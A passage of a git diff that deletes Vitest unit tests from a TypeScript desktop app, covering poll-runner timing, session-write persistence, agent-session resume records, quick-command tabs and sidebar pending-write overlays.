-      runner.run({ changeSignal: true })
-      await vi.advanceTimersByTimeAsync(34_999)
-      expect(task).toHaveBeenCalledTimes(1)
-      await vi.advanceTimersByTimeAsync(1)
-      expect(task).toHaveBeenCalledTimes(2)
-
-      calls[1]?.resolve()
-      await flushMicrotasks()
-      vi.useRealTimers()
-    })
-
-    it('pulls an already-scheduled tick run earlier when a change signal arrives', async () => {
-      vi.useFakeTimers()
-      const { runner, task, calls } = makeSlowRunner()
-
-      await completeRunOfDuration(runner, calls, 35_000)
-      runner.run() // tick scheduled for +175s
-      await vi.advanceTimersByTimeAsync(10_000)
-
-      runner.run({ changeSignal: true }) // reschedules for end + 35s
-      await vi.advanceTimersByTimeAsync(24_999)
-      expect(task).toHaveBeenCalledTimes(1)
-      await vi.advanceTimersByTimeAsync(1)
-      expect(task).toHaveBeenCalledTimes(2)
-
-      calls[1]?.resolve()
-      await flushMicrotasks()
-      await vi.advanceTimersByTimeAsync(600_000)
-      expect(task).toHaveBeenCalledTimes(2)
-      vi.useRealTimers()
-    })
-
-    it('does not let a later tick delay a scheduled change-signal run', async () => {
-      vi.useFakeTimers()
-      const { runner, task, calls } = makeSlowRunner()
-
-      await completeRunOfDuration(runner, calls, 35_000)
-      runner.run({ changeSignal: true }) // scheduled for +35s
-      await vi.advanceTimersByTimeAsync(10_000)
-      runner.run() // tick must not push the schedule to +175s
-
-      await vi.advanceTimersByTimeAsync(24_999)
-      expect(task).toHaveBeenCalledTimes(1)
-      await vi.advanceTimersByTimeAsync(1)
-      expect(task).toHaveBeenCalledTimes(2)
-
-      calls[1]?.resolve()
-      await flushMicrotasks()
-      vi.useRealTimers()
-    })
-
-    it('keeps change-signal pacing for a signal that arrived mid-run', async () => {
-      vi.useFakeTimers()
-      const { runner, task, calls } = makeSlowRunner()
-
-      runner.run()
-      await vi.advanceTimersByTimeAsync(20_000)
-      runner.run({ changeSignal: true }) // during flight
-      await vi.advanceTimersByTimeAsync(15_000)
-      runner.run() // a later tick must not downgrade the pending signal
-      calls[0]?.resolve()
-      await flushMicrotasks()
-      expect(task).toHaveBeenCalledTimes(1)
-
-      // Trailing rerun waits 1 x 35s (signal), not 5 x 35s (tick).
-      await vi.advanceTimersByTimeAsync(34_999)
-      expect(task).toHaveBeenCalledTimes(1)
-      await vi.advanceTimersByTimeAsync(1)
-      expect(task).toHaveBeenCalledTimes(2)
-
-      calls[1]?.resolve()
-      await flushMicrotasks()
-      vi.useRealTimers()
-    })
-  })
-
-  it('cancels scheduled deferred run on dispose', async () => {
-    vi.useFakeTimers()
-    const calls: ReturnType<typeof deferred>[] = []
-    const task = vi.fn(() => {
-      const call = deferred()
-      calls.push(call)
-      return call.promise
-    })
-    const runner = createCoalescedPollRunner(task, { minIntervalMs: 1000 })
-
-    runner.run()
-    runner.run()
-    calls[0]?.resolve()
-    await flushMicrotasks()
-
-    runner.dispose()
-
-    await vi.advanceTimersByTimeAsync(1000)
-    expect(task).toHaveBeenCalledTimes(1)
-
-    vi.useRealTimers()
-  })
-})
diff --git a/src/renderer/src/lib/resolved-worktree-execution-host.test.ts b/src/renderer/src/lib/resolved-worktree-execution-host.test.ts
deleted file mode 100644
index c1ba63a96f4..00000000000
--- a/src/renderer/src/lib/resolved-worktree-execution-host.test.ts
+++ /dev/null
@@ -1,63 +0,0 @@
-import { describe, expect, it } from 'vitest'
-
-import { getActiveWorkspaceOwnerTarget } from './resolved-worktree-execution-host'
-
-describe('getActiveWorkspaceOwnerTarget', () => {
-  it('reuses repo proof across unrelated updates and refreshes it for a replacement catalog', () => {
-    for (const count of [20, 200]) {
-      let idReads = 0
-      const repos = Array.from({ length: count }, (_, index) => ({
-        get id() {
-          idReads++
-          return `repo-${index}`
-        },
-        executionHostId: 'runtime:env-a' as const,
-        connectionId: null
-      }))
-      const legacy = {
-        repos,
-        activeWorktreeId: 'repo-0::/repo',
-        worktreesByRepo: {
-          'repo-0': [{ id: 'repo-0::/repo', repoId: 'repo-0' }]
-        }
-      }
-      const explicit = {
-        ...legacy,
-        worktreesByRepo: {
-          'repo-0': [{ id: 'repo-0::/repo', repoId: 'repo-0', hostId: 'runtime:env-a' as const }]
-        }
-      }
-      for (const state of [explicit, legacy]) {
-        expect(getActiveWorkspaceOwnerTarget(state)).toEqual({
-          kind: 'environment',
-          environmentId: 'env-a'
-        })
-      }
-      idReads = 0
-      for (let update = 0; update < 20; update++) {
-        for (const state of [explicit, legacy]) {
-          expect(getActiveWorkspaceOwnerTarget({ ...state })).toEqual({
-            kind: 'environment',
-            environmentId: 'env-a'
-          })
-        }
-      }
-      expect(idReads).toBe(0)
-
-      const replacement = repos.map((repo) => ({
-        ...repo,
-        executionHostId: 'runtime:env-b' as const
-      }))
-      expect(getActiveWorkspaceOwnerTarget({ ...legacy, repos: replacement })).toEqual({
-        kind: 'environment',
-        environmentId: 'env-b'
-      })
-      expect(
-        getActiveWorkspaceOwnerTarget({
-          ...legacy,
-          repos: [...replacement, { id: 'repo-0', connectionId: null, executionHostId: 'local' }]
-        })
-      ).toBeNull()
-    }
-  })
-})
diff --git a/src/renderer/src/lib/retracted-host-pane-resume.test.ts b/src/renderer/src/lib/retracted-host-pane-resume.test.ts
deleted file mode 100644
index b0398dc9ba3..00000000000
--- a/src/renderer/src/lib/retracted-host-pane-resume.test.ts
+++ /dev/null
@@ -1,67 +0,0 @@
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
-import type { SleepingAgentSessionRecord } from '../../../shared/agent-session/lifecycle/agent-session-resume'
-import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
-import { resumeSleepingAgentSessionsForWorktree } from './agent-session/resume/resume-sleeping-agent-session'
-
-// Main's answer to the window's layout commands, as a switch-on build sends them.
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-
-const initialState = useAppStore.getState()
-const LEAF_ID = '11111111-1111-4111-8111-111111111111'
-const HOST_TAB_ID = 'web-terminal-host-tab'
-
-afterEach(() => useAppStore.setState(initialState, true))
-
-function makeRecord(
-  worktreeId: string,
-  paneKey: string,
-  tabId?: string
-): SleepingAgentSessionRecord {
-  return {
-    paneKey,
-    ...(tabId ? { tabId } : {}),
-    worktreeId,
-    agent: 'claude',
-    providerSession: { key: 'session_id', id: 'host-conversation' },
-    origin: 'live',
-    state: 'working',
-    prompt: 'continue',
-    capturedAt: 1,
-    updatedAt: 1
-  }
-}
-
-describe.each(['repo-1::/workspace/repo', 'folder:workspace'])('%s', (worktreeId) => {
-  it('does not recover a native record that shares its session with an older mirror', () => {
-    const mirrored = makeRecord(worktreeId, makePaneKey(HOST_TAB_ID, LEAF_ID), HOST_TAB_ID)
-    const native = {
-      ...makeRecord(worktreeId, makePaneKey('native-tab', LEAF_ID), 'native-tab'),
-      capturedAt: 2,
-      updatedAt: 2
-    }
-    useAppStore.setState({
-      tabsByWorktree: { [worktreeId]: [] },
-      sleepingAgentSessionsByPaneKey: {
-        [mirrored.paneKey]: mirrored,
-        [native.paneKey]: native
-      },
-      automaticAgentResumeClaimsByTabId: {},
-      pendingStartupByTabId: {}
-    })
-
-    // The mirror may name a transcript its host still writes (#29421); a second sweep must agree.
-    expect(resumeSleepingAgentSessionsForWorktree(worktreeId)).toBe(0)
-    expect(resumeSleepingAgentSessionsForWorktree(worktreeId)).toBe(0)
-    const state = useAppStore.getState()
-    // The mirror speaks for the session; the native sibling is the duplicate.
-    expect(state.sleepingAgentSessionsByPaneKey).toEqual({ [mirrored.paneKey]: mirrored })
-    expect(state.tabsByWorktree[worktreeId]).toEqual([])
-    expect(state.automaticAgentResumeClaimsByTabId).toEqual({})
-    expect(state.pendingStartupByTabId).toEqual({})
-  })
-})
diff --git a/src/renderer/src/lib/run-quick-command-in-new-tab.test.ts b/src/renderer/src/lib/run-quick-command-in-new-tab.test.ts
deleted file mode 100644
index 3a7e7fff974..00000000000
--- a/src/renderer/src/lib/run-quick-command-in-new-tab.test.ts
+++ /dev/null
@@ -1,89 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import { runQuickCommandInNewTab } from './run-quick-command-in-new-tab'
-
-type MockStoreState = {
-  createTab: ReturnType<typeof vi.fn>
-  setActiveTabType: ReturnType<typeof vi.fn>
-  setTabBarOrder: ReturnType<typeof vi.fn>
-  setRecentQuickCommandForGroup: ReturnType<typeof vi.fn>
-  tabsByWorktree: Record<string, { id: string }[]>
-  unifiedTabsByWorktree: Record<
-    string,
-    { id: string; entityId: string; contentType: string; groupId: string }[]
-  >
-  activeGroupIdByWorktree: Record<string, string>
-  openFiles: { id: string; worktreeId: string }[]
-  browserTabsByWorktree: Record<string, { id: string }[]>
-  tabBarOrderByWorktree: Record<string, string[]>
-}
-
-const mocks = vi.hoisted(() => ({
-  launchAgentInNewTab: vi.fn()
-}))
-
-let mockState: MockStoreState
-
-vi.mock('@/store', () => ({
-  useAppStore: {
-    getState: () => mockState
-  }
-}))
-
-vi.mock('@/lib/agent-session/launch/new-tab/launch-agent-in-new-tab', () => ({
-  launchAgentInNewTab: mocks.launchAgentInNewTab
-}))
-
-function createStoreState(): MockStoreState {
-  return {
-    createTab: vi.fn(() => ({ id: 'tab-new' })),
-    setActiveTabType: vi.fn(),
-    setTabBarOrder: vi.fn(),
-    setRecentQuickCommandForGroup: vi.fn(),
-    tabsByWorktree: { 'wt-1': [{ id: 'tab-existing' }, { id: 'tab-new' }] },
-    unifiedTabsByWorktree: {
-      'wt-1': [{ id: 'tab-new', entityId: 'tab-new', contentType: 'terminal', groupId: 'group-1' }]
-    },
-    activeGroupIdByWorktree: { 'wt-1': 'group-1' },
-    openFiles: [],
-    browserTabsByWorktree: {},
-    tabBarOrderByWorktree: {}
-  }
-}
-
-describe('runQuickCommandInNewTab', () => {
-  beforeEach(() => {
-    mockState = createStoreState()
-    mocks.launchAgentInNewTab.mockReset()
-  })
-
-  it('appends the new terminal after editor and browser tabs in the stored tab order', () => {
-    mockState.openFiles = [{ id: 'file-1', worktreeId: 'wt-1' }]
-    mockState.unifiedTabsByWorktree['wt-1'].push({
-      id: 'file-1',
-      entityId: 'file-1',
-      contentType: 'editor',
-      groupId: 'group-1'
-    })
-    mockState.browserTabsByWorktree = { 'wt-1': [{ id: 'browser-1' }] }
-    mockState.tabBarOrderByWorktree = { 'wt-1': ['file-1', 'tab-existing'] }
-
-    runQuickCommandInNewTab({
-      command: {
-        id: 'status',
-        label: 'Status',
-        action: 'terminal-command',
-        command: 'git status',
-        appendEnter: true
-      },
-      worktreeId: 'wt-1',
-      groupId: 'group-1'
-    })
-
-    expect(mockState.setTabBarOrder).toHaveBeenCalledWith('wt-1', [
-      'file-1',
-      'tab-existing',
-      'browser-1',
-      'tab-new'
-    ])
-  })
-})
diff --git a/src/renderer/src/lib/script-textarea-rows.test.ts b/src/renderer/src/lib/script-textarea-rows.test.ts
deleted file mode 100644
index ec244b9377c..00000000000
--- a/src/renderer/src/lib/script-textarea-rows.test.ts
+++ /dev/null
@@ -1,34 +0,0 @@
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import {
-  SCRIPT_TEXTAREA_ROW_SCAN_CODE_UNITS,
-  getDetectedSetupScriptTextareaRows,
-  getRepositoryHookScriptTextareaRows
-} from './script-textarea-rows'
-
-afterEach(() => {
-  vi.restoreAllMocks()
-})
-
-describe('script textarea row sizing', () => {
-  it('clamps newline-heavy pasted scripts without splitting the full payload', () => {
-    const split = vi.spyOn(String.prototype, 'split')
-    const charCodeAt = vi.spyOn(String.prototype, 'charCodeAt')
-
-    expect(getDetectedSetupScriptTextareaRows('\n'.repeat(100_000))).toBe(6)
-    expect(getRepositoryHookScriptTextareaRows('\n'.repeat(100_000))).toBe(14)
-
-    expect(split).not.toHaveBeenCalled()
-    expect(charCodeAt.mock.calls.length).toBeLessThan(32)
-  })
-
-  it('bounds long single-line pasted script scans used only for row sizing', () => {
-    const split = vi.spyOn(String.prototype, 'split')
-    const charCodeAt = vi.spyOn(String.prototype, 'charCodeAt')
-    const text = 'x'.repeat(SCRIPT_TEXTAREA_ROW_SCAN_CODE_UNITS + 10_000)
-
-    expect(getRepositoryHookScriptTextareaRows(text)).toBe(4)
-
-    expect(split).not.toHaveBeenCalled()
-    expect(charCodeAt.mock.calls.length).toBe(SCRIPT_TEXTAREA_ROW_SCAN_CODE_UNITS)
-  })
-})
diff --git a/src/renderer/src/lib/session-write-subscriber-acknowledgment.test.ts b/src/renderer/src/lib/session-write-subscriber-acknowledgment.test.ts
deleted file mode 100644
index 5e352fc4ddc..00000000000
--- a/src/renderer/src/lib/session-write-subscriber-acknowledgment.test.ts
+++ /dev/null
@@ -1,113 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
-import type { AppState } from '@/store/types'
-import {
-  createSessionWriteSubscriber,
-  type WorkspaceSessionWrite
-} from './workspace/persistence/session-write-subscriber'
-
-function acknowledgment() {
-  let resolve!: () => void
-  let reject!: (error: unknown) => void
-  const promise = new Promise<void>((yes, no) => {
-    resolve = yes
-    reject = no
-  })
-  return { promise, resolve, reject }
-}
-
-describe('session write acknowledgments', () => {
-  let initial: AppState
-  let dispose: (() => void) | undefined
-  beforeEach(() => {
-    initial = useAppStore.getState()
-    vi.useFakeTimers()
-  })
-  afterEach(() => {
-    dispose?.()
-    dispose = undefined
-    vi.useRealTimers()
-    useAppStore.setState(initial, true)
-  })
-
-  function setup() {
-    const first = acknowledgment()
-    const persist = vi
-      .fn<(write: WorkspaceSessionWrite) => void | Promise<void>>()
-      .mockImplementationOnce(() => first.promise)
-    const onPersistError = vi.fn()
-    dispose = createSessionWriteSubscriber({ store: useAppStore, persist, onPersistError })
-    useAppStore.setState({
-      workspaceSessionReady: true,
-      hydrationSucceeded: true,
-      activeTabId: 'old'
-    })
-    vi.advanceTimersByTime(200)
-    // An unrelated store update: the only wake a deferred write gets.
-    const wake = () => useAppStore.getState().setCacheTimerStartedAt('tab:pane', Date.now())
-    return { first, persist, onPersistError, wake }
-  }
-
-  it('serializes writes and preserves a newer edit to the in-flight field', async () => {
-    const { first, persist } = setup()
-    useAppStore.setState({ activeTabId: 'new' })
-    await vi.advanceTimersByTimeAsync(200)
-    expect(persist).toHaveBeenCalledTimes(1)
-    first.resolve()
-    await vi.advanceTimersByTimeAsync(200)
-    expect(persist).toHaveBeenCalledTimes(2)
-    expect(persist.mock.calls[1][0].patch.activeTabId).toBe('new')
-  })
-
-  it('retains rejected intent until a store wake and rebuilds fresh state', async () => {
-    const { first, persist, onPersistError, wake } = setup()
-    useAppStore.setState({ activeTabId: 'new' })
-    first.reject(new Error('retirement publication deferred'))
-    await vi.advanceTimersByTimeAsync(10_000)
-    expect(persist).toHaveBeenCalledTimes(1)
-    expect(onPersistError).toHaveBeenCalledTimes(1)
-    expect(vi.getTimerCount()).toBe(0)
-    wake()
-    await vi.advanceTimersByTimeAsync(200)
-    expect(persist).toHaveBeenCalledTimes(2)
-    expect(persist.mock.calls[1][0].patch.activeTabId).toBe('new')
-    expect(persist.mock.calls[1][0].patch).toHaveProperty('activeRepoId')
-  })
-
-  it.each(['resolve', 'reject'] as const)(
-    'does not resume after disposal and late %s',
-    async (outcome) => {
-      const { first, persist, onPersistError, wake } = setup()
-      useAppStore.setState({ activeTabId: 'new' })
-      dispose?.()
-      if (outcome === 'resolve') {
-        first.resolve()
-      } else {
-        first.reject(new Error('late failure'))
-      }
-      wake()
-      await vi.advanceTimersByTimeAsync(10_000)
-      expect(persist).toHaveBeenCalledTimes(1)
-      expect(onPersistError).not.toHaveBeenCalled()
-      expect(vi.getTimerCount()).toBe(0)
-    }
-  )
-
-  it('retains a synchronous throw for a later wake', async () => {
-    const persist = vi.fn<(write: WorkspaceSessionWrite) => void>().mockImplementationOnce(() => {
-      throw new Error('write refused')
-    })
-    dispose = createSessionWriteSubscriber({ store: useAppStore, persist })
-    useAppStore.setState({
-      workspaceSessionReady: true,
-      hydrationSucceeded: true,
-      activeTabId: 'retained'
-    })
-    await vi.advanceTimersByTimeAsync(200)
-    expect(vi.getTimerCount()).toBe(0)
-    useAppStore.getState().setCacheTimerStartedAt('tab:pane', Date.now())
-    await vi.advanceTimersByTimeAsync(200)
-    expect(persist).toHaveBeenCalledTimes(2)
-    expect(persist.mock.calls[1][0].patch.activeTabId).toBe('retained')
-  })
-})
diff --git a/src/renderer/src/lib/session-write-subscriber.test.ts b/src/renderer/src/lib/session-write-subscriber.test.ts
deleted file mode 100644
index 2ae4ff931d3..00000000000
--- a/src/renderer/src/lib/session-write-subscriber.test.ts
+++ /dev/null
@@ -1,203 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
-import type { AppState } from '@/store/types'
-import {
-  createSessionWriteSubscriber,
-  type WorkspaceSessionWrite
-} from './workspace/persistence/session-write-subscriber'
-
-// Snapshot/restore the full singleton store so pollution cannot mask persistence-gate regressions.
-let initialState: AppState
-
-function makeTerminalSessionState(title: string, label = title): Partial<AppState> {
-  return {
-    tabsByWorktree: {
-      'wt-1': [
-        {
-          id: 'tab-1',
-          ptyId: 'pty-1',
-          worktreeId: 'wt-1',
-          title,
-          defaultTitle: 'Terminal 1',
-          customTitle: null,
-          color: null,
-          sortOrder: 0,
-          createdAt: 1
-        }
-      ]
-    },
-    unifiedTabsByWorktree: {
-      'wt-1': [
-        {
-          id: 'tab-1',
-          entityId: 'tab-1',
-          groupId: 'group-1',
-          worktreeId: 'wt-1',
-          contentType: 'terminal',
-          label,
-          customLabel: null,
-          color: null,
-          sortOrder: 0,
-          createdAt: 1
-        }
-      ]
-    },
-    groupsByWorktree: {
-      'wt-1': [
-        {
-          id: 'group-1',
-          worktreeId: 'wt-1',
-          activeTabId: 'tab-1',
-          tabOrder: ['tab-1']
-        }
-      ]
-    },
-    layoutByWorktree: {
-      'wt-1': { type: 'leaf', groupId: 'group-1' }
-    },
-    activeGroupIdByWorktree: {
-      'wt-1': 'group-1'
-    }
-  }
-}
-
-describe('createSessionWriteSubscriber', () => {
-  beforeEach(() => {
-    initialState = useAppStore.getState()
-    vi.useFakeTimers()
-  })
-
-  afterEach(() => {
-    vi.useRealTimers()
-    useAppStore.setState(initialState, true)
-  })
-
-  it('writes when the gate is already open at creation, with no store tick to wake it', () => {
-    // With the gate already open, only creation-time seeding triggers the first write; unchanged catalogs no longer provide incidental store ticks.
-    useAppStore.setState({ workspaceSessionReady: true, hydrationSucceeded: true })
-
-    const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
-    const storeTicks = vi.fn()
-    const unsubStoreTicks = useAppStore.subscribe(storeTicks)
-    const cleanup = createSessionWriteSubscriber({ store: useAppStore, persist })
-
-    vi.advanceTimersByTime(200)
-
-    expect(storeTicks).not.toHaveBeenCalled()
-    expect(persist).toHaveBeenCalledTimes(1)
-
-    unsubStoreTicks()
-    cleanup()
-  })
-
-  it('re-checks the hydration gate when a pending debounce fires', () => {
-    const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
-    const cleanup = createSessionWriteSubscriber({ store: useAppStore, persist })
-
-    useAppStore.setState({ workspaceSessionReady: true, hydrationSucceeded: true })
-    vi.advanceTimersByTime(50)
-    useAppStore.setState({ hydrationSucceeded: false })
-    vi.advanceTimersByTime(200)
-
-    expect(persist).not.toHaveBeenCalled()
-    cleanup()
-  })
-
-  it('writes a live agent recovery checkpoint when provider session metadata arrives', () => {
-    const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
-    const cleanup = createSessionWriteSubscriber({ store: useAppStore, persist })
-
-    useAppStore.setState({
-      workspaceSessionReady: true,
-      hydrationSucceeded: true,
-      tabsByWorktree: {
-        'wt-1': [
-          {
-            id: 'tab-1',
-            ptyId: null,
-            worktreeId: 'wt-1',
-            title: 'Codex',
-            customTitle: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: 1
-          }
-        ]
-      }
-    } as never)
-    vi.advanceTimersByTime(200)
-    persist.mockClear()
-
-    useAppStore.getState().setAgentStatus(
-      'tab-1:leaf-1',
-      {
-        state: 'working',
-        prompt: 'Fix tests',
-        agentType: 'codex'
-      },
-      'Codex',
-      { updatedAt: 10, stateStartedAt: 10 },
-      { tabId: 'tab-1', worktreeId: 'wt-1' },
-      { providerSession: { key: 'session_id', id: 'codex-session-1' } }
-    )
-    vi.advanceTimersByTime(200)
-
-    expect(persist).toHaveBeenCalledWith({
-      patch: {
-        sleepingAgentSessionsByPaneKey: {
-          'tab-1:leaf-1': expect.objectContaining({
-            providerSession: { key: 'session_id', id: 'codex-session-1' },
-            origin: 'live'
-          })
-        }
-      }
-    })
-    cleanup()
-  })
-
-  it('rebuilds a pending tab patch after close so it cannot resurrect the tab', () => {
-    const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
-    const cleanup = createSessionWriteSubscriber({ store: useAppStore, persist })
-
-    useAppStore.setState({
-      workspaceSessionReady: true,
-      hydrationSucceeded: true,
-      ...makeTerminalSessionState('shell')
-    })
-    vi.advanceTimersByTime(50)
-    useAppStore.setState({
-      tabsByWorktree: { 'wt-1': [] },
-      unifiedTabsByWorktree: { 'wt-1': [] },
-      groupsByWorktree: { 'wt-1': [] },
-      layoutByWorktree: {},
-      activeGroupIdByWorktree: {},
-      activeTabId: null
-    })
-    vi.advanceTimersByTime(200)
-
-    expect(persist).toHaveBeenCalledTimes(1)
-    expect(persist.mock.calls[0][0].patch.tabsByWorktree?.['wt-1']).toEqual([])
-    expect(persist.mock.calls[0][0].patch.unifiedTabs?.['wt-1']).toBeUndefined()
-    cleanup()
-  })
-
-  it('cleanup unsubscribes and cancels a pending timer', () => {
-    const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
-    const cleanup = createSessionWriteSubscriber({ store: useAppStore, persist })
-
-    useAppStore.setState({ workspaceSessionReady: true, hydrationSucceeded: true })
-    vi.advanceTimersByTime(200)
-    persist.mockClear()
-
-    useAppStore.setState({ activeTabId: 'tab-1' })
-    cleanup()
-    vi.advanceTimersByTime(200)
-
-    expect(persist).not.toHaveBeenCalled()
-
-    // Mutate after cleanup to prove unsubscribe; timer cancellation alone passes even with the listener still attached.
-    useAppStore.setState({ activeTabId: 'tab-2' })
-    vi.advanceTimersByTime(200)
-    expect(persist).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/lib/sidebar-ended-creations.test.ts b/src/renderer/src/lib/sidebar-ended-creations.test.ts
deleted file mode 100644
index 3ab63ab88ea..00000000000
--- a/src/renderer/src/lib/sidebar-ended-creations.test.ts
+++ /dev/null
@@ -1,68 +0,0 @@
-// @vitest-environment happy-dom
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { SidebarFeedDomains } from '../../../shared/sidebar-list/sidebar-feed-domains'
-import type { DesktopSidebarFeed } from './desktop-sidebar-feed'
-
-const feed = vi.hoisted(() => ({
-  installListeners: new Set<(installed: DesktopSidebarFeed) => void>()
-}))
-vi.mock('./desktop-sidebar-feed', () => ({
-  onDesktopSidebarFeedInstalled: (listener: (installed: DesktopSidebarFeed) => void) => {
-    feed.installListeners.add(listener)
-    return () => feed.installListeners.delete(listener)
-  }
-}))
-
-function domainsWith(creations: SidebarFeedDomains['creations']): SidebarFeedDomains {
-  return {
-    workspaces: new Map(),
-    activity: new Map(),
-    review: new Map(),
-    creations,
-    pairedServerHosts: new Map(),
-    pairedServerRows: new Map(),
-    repoIcons: new Map(),
-    desktop: null,
-    projectCatalog: null,
-    retention: null
-  }
-}
-
-function install(domains: SidebarFeedDomains): void {
-  feed.installListeners.forEach((listener) => listener({ domains, readId: 1 }))
-}
-
-async function load() {
-  vi.resetModules()
-  return {
-    ended: await import('./sidebar-ended-creations'),
-    model: await import('@/components/sidebar/worktree-list/listing/use-main-list-model')
-  }
-}
-
-describe('ended window creations', () => {
-  beforeEach(() => {
-    feed.installListeners.clear()
-  })
-  afterEach(() => {
-    vi.useRealTimers()
-  })
-
-  it('keeps a creation the window just finished off the list while main’s feed still lists it', async () => {
-    const { ended, model } = await load()
-    // Main's last read predates its close, and names no workspace yet.
-    const stale = domainsWith(new Map([['mine', { repoId: 'repo' }]]))
-    const listed = () => [
-      ...model.withWindowCreations(stale, [], ended.readEndedCreations()).creations.keys()
-    ]
-    expect(model.withWindowCreations(stale, ['mine repo'], new Set()).creations.has('mine')).toBe(
-      true
-    )
-    ended.endWindowCreation('mine')
-    expect(listed()).toEqual([])
-    install(stale)
-    expect(listed()).toEqual([])
-    install(domainsWith(new Map()))
-    expect(ended.readEndedCreations().size).toBe(0)
-  })
-})
diff --git a/src/renderer/src/lib/sidebar-pending-layer.test.ts b/src/renderer/src/lib/sidebar-pending-layer.test.ts
deleted file mode 100644
index 4e9ba4d253c..00000000000
--- a/src/renderer/src/lib/sidebar-pending-layer.test.ts
+++ /dev/null
@@ -1,229 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { SidebarFeedDomains } from '../../../shared/sidebar-list/sidebar-feed-domains'
-import { buildWorkspaceRows, type WorkspaceRow } from '../../../shared/sidebar-list/workspace-rows'
-import type { PairedServerWorkspaceRow } from '../../../shared/sidebar-list/paired-server-rows'
-import { parseExecutionHostId } from '../../../shared/execution-host'
-import { composeWorktreeHostIdentity } from '../../../shared/worktree/host-qualified-identity'
-import {
-  makeFolderWorkspace,
-  makeRepo,
-  makeWorktree
-} from '@/components/worktree-jump/worktree-jump-palette-test-fixtures'
-import type { DesktopSidebarFeed } from './desktop-sidebar-feed'
-
-vi.mock('../../../shared/sidebar-inputs-switch', () => ({ ORCA_SIDEBAR_INPUTS_IS_MAIN: true }))
-const feed = vi.hoisted(() => ({
-  lastReadId: 0,
-  installListeners: new Set<(installed: DesktopSidebarFeed) => void>()
-}))
-vi.mock('./desktop-sidebar-feed', () => ({
-  refreshDesktopSidebarFeed: () => ++feed.lastReadId,
-  onDesktopSidebarFeedInstalled: (listener: (installed: DesktopSidebarFeed) => void) => {
-    feed.installListeners.add(listener)
-    return () => feed.installListeners.delete(listener)
-  }
-}))
-
-const repo = makeRepo()
-const local = makeWorktree('repo-1::/w/a', 'a', { hostId: 'local', manualOrder: 1 })
-const CATALOG = { repos: [repo], lineageById: {} }
-
-function domains(
-  rows: WorkspaceRow[],
-  serverRows: PairedServerWorkspaceRow[] = []
-): SidebarFeedDomains {
-  return {
-    workspaces: new Map(
-      rows.map((row) => [
-        composeWorktreeHostIdentity(parseExecutionHostId(row.hostId)?.id, row.id),
-        row
-      ])
-    ),
-    activity: new Map(),
-    review: new Map(),
-    creations: new Map(),
-    pairedServerHosts: new Map(),
-    pairedServerRows: new Map(serverRows.map((row) => [row.key, row])),
-    repoIcons: new Map(),
-    desktop: null,
-    projectCatalog: null,
-    retention: null
-  }
-}
-
-function rowOf(worktree = local): WorkspaceRow {
-  return [
-    ...buildWorkspaceRows({ ...CATALOG, worktrees: [worktree], folderWorkspaces: [] }).values()
-  ][0]!
-}
-
-function serverRow(manualOrder: number): PairedServerWorkspaceRow {
-  return {
-    key: 'runtime:env-1|api::/w/x',
-    worktreeId: 'api::/w/x',
-    repoId: 'api',
-    kind: 'git',
-    path: '/w/x',
-    branch: 'x',
-    displayName: 'x',
-    isArchived: false,
-    isPinned: false,
-    manualOrder
-  }
-}
-
-function install(installed: SidebarFeedDomains, readId = feed.lastReadId): void {
-  feed.installListeners.forEach((listener) => listener({ domains: installed, readId }))
-}
-
-async function load() {
-  vi.resetModules()
-  return import('./sidebar-pending-layer')
-}
-
-function deferred() {
-  let resolve!: () => void
-  const promise = new Promise<void>((done) => {
-    resolve = done
-  })
-  return { promise, resolve }
-}
-
-describe('sidebar pending layer', () => {
-  beforeEach(() => {
-    feed.lastReadId = 0
-    feed.installListeners.clear()
-  })
-  afterEach(() => {
-    vi.useRealTimers()
-  })
-
-  it('lays a row write over main from its start until a read sent after main answered', async () => {
-    const layer = await load()
-    const main = domains([rowOf()])
-    const write = deferred()
-    const running = layer.withPendingSidebarRowWrites(
-      () => [{ worktreeId: local.id, updates: { manualOrder: 9 }, executionHostId: 'local' }],
-      () => write.promise
-    )
-    const overlaid = () =>
-      layer.overlaySidebarPendingLayer(main, layer.readSidebarPendingLayer(), CATALOG)
-    expect([...overlaid().workspaces.values()][0]?.manualOrder).toBe(9)
-    // A read from before the answer reflects main without the write.
-    install(main, 0)
-    expect([...overlaid().workspaces.values()][0]?.manualOrder).toBe(9)
-    write.resolve()
-    await running
-    expect(feed.lastReadId).toBe(1)
-    // Main's value wins once a later read installs, here as if main had refused the write.
-    install(main, 1)
-    expect(layer.readSidebarPendingLayer().writes).toEqual([])
-    expect(overlaid()).toBe(main)
-  })
-
-  it('holds a paired server row write until main’s row echoes it, at most ten seconds', async () => {
-    vi.useFakeTimers()
-    const layer = await load()
-    await layer.withPendingSidebarRowWrites(
-      () => [
-        { worktreeId: 'api::/w/x', updates: { manualOrder: 5 }, executionHostId: 'runtime:env-1' }
-      ],
-      async () => {}
-    )
-    await Promise.resolve()
-    // Answered and read, but the server's event has not reached main yet.
-    install(domains([], [serverRow(1)]))
-    const shown = () =>
-      [
-        ...layer
-          .overlaySidebarPendingLayer(
-            domains([], [serverRow(1)]),
-            layer.readSidebarPendingLayer(),
-            CATALOG
-          )
-          .pairedServerRows.values()
-      ][0]?.manualOrder
-    expect(shown()).toBe(5)
-    install(domains([], [serverRow(5)]))
-    expect(layer.readSidebarPendingLayer().writes).toEqual([])
-
-    await layer.withPendingSidebarRowWrites(
-      () => [
